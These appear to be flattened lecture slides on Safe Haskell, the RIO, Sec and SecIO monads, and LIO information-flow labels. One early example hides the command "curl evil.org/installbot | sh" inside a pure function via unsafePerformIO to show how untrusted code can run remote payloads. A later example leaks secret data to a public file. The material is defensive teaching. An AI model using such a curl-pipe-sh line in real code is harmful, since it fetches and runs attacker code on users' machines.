Download some random code with this function
toPigLatin :: L.ByteString -> L.ByteStringIO), this would be safe to run
However, what if you have?
toPigLatin = unsafePerformIO $ do
system "curl evil.org/installbot | sh"
return "Ia owna ouya"-XSafe option enables Safe Haskell
System.IO.Unsafe, so can't call unsafePerformIOSafe imports (enabled by -XSafeImports) require an import to be safe
import safe PigLatin (toPigLatin)toPigLatin doesn't call unsafe functionsBut wait... doesn't toPigLatin use ByteString?
head :: {- Lazy -} ByteString -> Word8
head Empty = errorEmptyList "head"
head (Chunk c _) = S.unsafeHead c
unsafeHead :: {- Strict -} ByteString -> Word8
unsafeHead (PS x s l) = assert (l > 0) $
inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s-XSafe can only import safe modules
safe keyword-XSafe-XTrustworthyData.ByteString can be compiled -XTrustworthy
Data.ByteString.Unsafe moduleData.ByteString's exported symbols cannot be used unsafely, even if the module internally makes use of unsafe functions-XTrustworthy-trust Pkg, -distrust Pkg, -distrust-all-packagesghc-pkgRIO
Untrusted third party implements googleTranslate function
googleTranslate :: Language -> L.ByteString -> RIO L.ByteStringRIO monad, instead of IORIO functions to access network, file systemCan use same names and port IO code to RIO by manipulating imports
RIO monad{-# LANGUAGE Trustworthy #-}
module RIO (RIO(), runRIO, RIO.readFile) where
-- Notice that symbol UnsafeRIO is not exported from this module!
newtype RIO a = UnsafeRIO { runRIO :: IO a }
instance Monad RIO where
return = UnsafeRIO . return
m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k
-- Returns True iff access is allowed to file name
pathOK :: FilePath -> IO Bool
pathOK file = {- Implement some policy based on file name -}
readFile :: FilePath -> RIO String
readFile file = UnsafeRIO $ do
ok <- pathOK file
if ok then Prelude.readFile file else return ""newtype -- RIO is same as IO at runtime
RIO action into an IO one with runRIORIO action from IO one without UnsafeRIO symbol... not exported, so untrusted code cannot bury IO actions in RIO onesRIO restrictionsgoogleTranslate function:
/sandbox (allowed)
Sec monad [Russo], [Russo]H represent secret ("high") data, and L public ("low") dataModule Sec where
data L = Lpriv
data H = Hpriv{-# LANGUAGE Trustworthy #-}
Module Sec.Safe (module Sec) where
import Sec (L, H, Sec, sec, open, up)Sec) represent the lattice (L ⊑ H) in the type systemclass Flows sl sh where
instance Flows L L where
instance Flows L H where
instance Flows H H where
-- Notice no instance for Flows H LSec monad (continued)Sec
Sec H for high data, and Sec L for low datanewtype Sec s a = MkSec a
instance Monad (Sec s) where
return x = MkSec x
MkSec a >>= k = k alabel :: a -> Sec s a
label x = MkSec x
unlabel :: Sec s a -> s -> a
unlabel (MkSec a) s = s `seq` a -- s (H or L) acts like keyseq call, ensures "unlabel undefined secval" will crashrelabel :: (Flows lin lout) => Sec lin a -> Sec lout a
relabel (MkSec val) = MkSec valSec monadSec monadsSec L can be sent over networkSec H can only be sent to GooglequeryGoogle :: Sec H L.ByteString -> IO (Sec H L.ByteString)
queryGoogle labeledQuery = do
let query = unlabel Hpriv labeledQuery -- code is privileged,
... -- so have HprivApplicative)IO and SecWhat if instead we combined Sec and IO?
untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)Safe to run this computation?
IO and SecWhat if instead we combined Sec and IO?
untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)Safe to run this computation? No!
untrustedTranslate secbs = do
bs <- secbs
return $ do writeFile "PublicFile" bs -- oops, pwned
{- query Google for translation -}Let's combines idea of RIO and Sec in a SecIO monad
newtype SecIO s a = MkSecIO (IO (Sec s a))
instance Monad (SecIO s) where
return x = MkSecIO (return (return x))
MkSecIO m >>= k = MkSecIO $ do
sa <- m
let (MkSec a) = sa
let MkSecIO m' = k a
m'
run :: SecIO s a -> IO (Sec s a)
run (MkSecIO m) = mSecIO monadWhat does SecIO mean
-- Can write to high files and returns high Int
c1 :: SecIO H Int
-- Can write to low or high files, returns high Int
c2 :: SecIO L (Sec H Int)
-- Can write to low or high files, returns low Int
c3 :: SecIO L IntHow to represent files?
-- Must encode level of file in type, path of file in value
type File s = SecFilePath String
readFileSecIO :: File s -> SecIO s' (Sec s String)
writeFileSecIO :: File s -> String -> SecIO s ()IORefs)SecIO translatorStill need privileged function
queryGoogle :: Sec H L.ByteString -> SecIO H L.ByteStringNow implement untrusted code as follows
untrustedTranslate :: Sec H L.ByteString -> SecIO H L.ByteStringqueryGoogle, but not send data to other placesSecIO does most enforcement at compile timeFlows...LIO Monad [Stefan]Labels as points on a lattice
class Eq a => POrd a where
leq :: a -> a -> Bool
class (POrd a, Show a, Read a) => Label a where
lub :: a -> a -> a
glb :: a -> a -> a-- PrivTCB is private class, not exposed to untrusted code
class (Label l, PrivTCB p) => Priv l p where
leqp :: p -> l -> l -> BoolPrivTCB requirement in context--prevents untrusted code from defining instances of Priv class.Represent labeled pure values with type wrapper
data Labeled l t = LabeledTCB l tLIO l monad (for Label l) is a state monad w. current label
Can label and unlabel pure values in LIO monad:
label :: Label l => l -> a -> LIO l (Labeled l a)
unlabel :: (Label l) => Labeled l a -> LIO l a
unlabelP :: Priv l p => p -> Labeled l a -> LIO l a
toLabeled :: (Label l) => l -> LIO l a -> LIO l (Labeled l a)label requires value label to be above current labelunlabel raises current label to LUB with removed Labeled (unlabelP uses privileges to raise label less)toLabeled takes computation that would have raised current label, and instead of raising label, wraps result in LabeledLIO featuresLIO stateLIO